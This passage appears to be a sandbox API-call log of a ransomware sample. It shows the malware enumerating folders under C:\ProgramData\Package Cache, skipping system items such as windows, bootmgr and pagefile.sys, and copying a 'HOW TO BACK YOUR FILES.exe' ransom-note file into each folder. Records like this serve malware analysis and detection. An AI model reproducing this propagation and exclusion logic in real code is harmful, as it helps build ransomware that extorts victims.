ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0048.844] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0048.844] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc62f060, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0048.844] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0048.844] ReleaseMutex (hMutex=0xec) returned 1 [0048.844] CloseHandle (hObject=0xec) returned 1 [0048.844] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Package Cache" | out: lpString1="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0048.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50f7a8 | out: hHeap=0x4f0000) returned 1 [0048.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50db50 | out: hHeap=0x4f0000) returned 1 [0048.844] lstrlenW (lpString="C:\\ProgramData\\Package Cache") returned 28 [0048.844] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\89BF2CF8EC763097273FC89AAFAD25F8") returned 0xec [0048.844] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0048.844] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache" | out: lpString1="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache" [0048.845] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0048.845] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\how to back your files.exe"), bFailIfExists=1) returned 0 [0048.845] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0048.845] GetLastError () returned 0x0 [0048.845] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0048.845] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0048.845] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0048.846] CloseHandle (hObject=0xf4) returned 1 [0048.846] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0048.846] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0048.846] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0048.846] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.846] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.846] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0048.846] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.847] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.847] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.847] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0048.847] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0048.847] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="42D5BEC7DDFBD49E76467529CBC2868987BF8460", cAlternateFileName="42D5BE~1")) returned 1 [0048.847] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.847] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.847] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2=".") returned 1 [0048.847] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="..") returned 1 [0048.847] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="windows") returned -1 [0048.847] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="bootmgr") returned -1 [0048.847] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="temp") returned -1 [0048.847] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="pagefile.sys") returned -1 [0048.847] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="boot") returned -1 [0048.847] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="ids.txt") returned -1 [0048.847] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="ntuser.dat") returned -1 [0048.847] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="perflogs") returned -1 [0048.847] lstrcmpiW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="MSBuild") returned -1 [0048.848] lstrlenW (lpString="42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned 40 [0048.848] lstrcpyW (in: lpString1=0x241e882, lpString2="42D5BEC7DDFBD49E76467529CBC2868987BF8460" | out: lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned="42D5BEC7DDFBD49E76467529CBC2868987BF8460" [0048.848] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50db50 [0048.848] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8c) returned 0x509628 [0048.848] lstrcatW (in: lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="\\" | out: lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460\\") returned="42D5BEC7DDFBD49E76467529CBC2868987BF8460\\" [0048.848] lstrcatW (in: lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460\\HOW TO BACK YOUR FILES.exe") returned="42D5BEC7DDFBD49E76467529CBC2868987BF8460\\HOW TO BACK YOUR FILES.exe" [0048.848] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.850] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", cAlternateFileName="54050A~1")) returned 1 [0048.850] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.850] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.850] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2=".") returned 1 [0048.850] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="..") returned 1 [0048.850] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="windows") returned -1 [0048.850] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="bootmgr") returned -1 [0048.850] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="temp") returned -1 [0048.850] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="pagefile.sys") returned -1 [0048.850] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="boot") returned -1 [0048.850] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="ids.txt") returned -1 [0048.850] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="ntuser.dat") returned -1 [0048.850] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="perflogs") returned -1 [0048.850] lstrcmpiW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="MSBuild") returned -1 [0048.850] lstrlenW (lpString="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned 40 [0048.850] lstrcpyW (in: lpString1=0x241e882, lpString2="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" | out: lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" [0048.850] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50dbe0 [0048.850] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8c) returned 0x50d8d8 [0048.851] lstrcatW (in: lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="\\" | out: lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\") returned="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\" [0048.851] lstrcatW (in: lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\HOW TO BACK YOUR FILES.exe") returned="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\HOW TO BACK YOUR FILES.exe" [0048.851] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.853] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc62f060, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0048.853] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0048.853] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", cAlternateFileName="{13A4E~1.210")) returned 1 [0048.853] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.853] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.853] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2=".") returned 1 [0048.853] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="..") returned 1 [0048.853] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="windows") returned -1 [0048.853] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="bootmgr") returned -1 [0048.853] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="temp") returned -1 [0048.853] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="pagefile.sys") returned -1 [0048.854] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="boot") returned -1 [0048.854] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="ids.txt") returned -1 [0048.854] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="ntuser.dat") returned -1 [0048.854] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="perflogs") returned -1 [0048.854] lstrcmpiW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="MSBuild") returned -1 [0048.854] lstrlenW (lpString="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned 49 [0048.854] lstrcpyW (in: lpString1=0x241e882, lpString2="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" [0048.854] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50dc28 [0048.854] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x9e) returned 0x521fb8 [0048.854] lstrcatW (in: lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="\\" | out: lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\") returned="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\" [0048.854] lstrcatW (in: lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\HOW TO BACK YOUR FILES.exe") returned="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\HOW TO BACK YOUR FILES.exe" [0048.854] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.856] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd314a0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xecd314a0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="{33D1F~1")) returned 1 [0048.856] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.856] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.856] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2=".") returned 1 [0048.856] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="..") returned 1 [0048.856] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="windows") returned -1 [0048.856] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="bootmgr") returned -1 [0048.856] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="temp") returned -1 [0048.856] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="pagefile.sys") returned -1 [0048.856] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="boot") returned -1 [0048.856] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="ids.txt") returned -1 [0048.856] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="ntuser.dat") returned -1 [0048.856] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="perflogs") returned -1 [0048.856] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="MSBuild") returned -1 [0048.856] lstrlenW (lpString="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned 38 [0048.857] lstrcpyW (in: lpString1=0x241e882, lpString2="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" [0048.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ac38 [0048.857] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x88) returned 0x514e18 [0048.857] lstrcatW (in: lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="\\" | out: lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\" [0048.857] lstrcatW (in: lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\HOW TO BACK YOUR FILES.exe") returned="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\HOW TO BACK YOUR FILES.exe" [0048.857] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.860] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="{37B8F~1.610")) returned 1 [0048.860] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.860] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.860] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2=".") returned 1 [0048.860] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="..") returned 1 [0048.860] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="windows") returned -1 [0048.860] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="bootmgr") returned -1 [0048.860] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="temp") returned -1 [0048.860] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="pagefile.sys") returned -1 [0048.860] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="boot") returned -1 [0048.861] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="ids.txt") returned -1 [0048.861] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="ntuser.dat") returned -1 [0048.861] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="perflogs") returned -1 [0048.861] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="MSBuild") returned -1 [0048.861] lstrlenW (lpString="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned 49 [0048.861] lstrcpyW (in: lpString1=0x241e882, lpString2="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" [0048.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ac50 [0048.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x9e) returned 0x522060 [0048.861] lstrcatW (in: lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="\\" | out: lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\") returned="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\" [0048.861] lstrcatW (in: lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\HOW TO BACK YOUR FILES.exe") returned="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\HOW TO BACK YOUR FILES.exe" [0048.861] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.863] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a127460, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a127460, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="{3C3AA~1")) returned 1 [0048.863] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.863] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.863] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2=".") returned 1 [0048.863] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="..") returned 1 [0048.863] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="windows") returned -1 [0048.863] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="bootmgr") returned -1 [0048.864] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="temp") returned -1 [0048.864] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="pagefile.sys") returned -1 [0048.864] lstrcmpiW 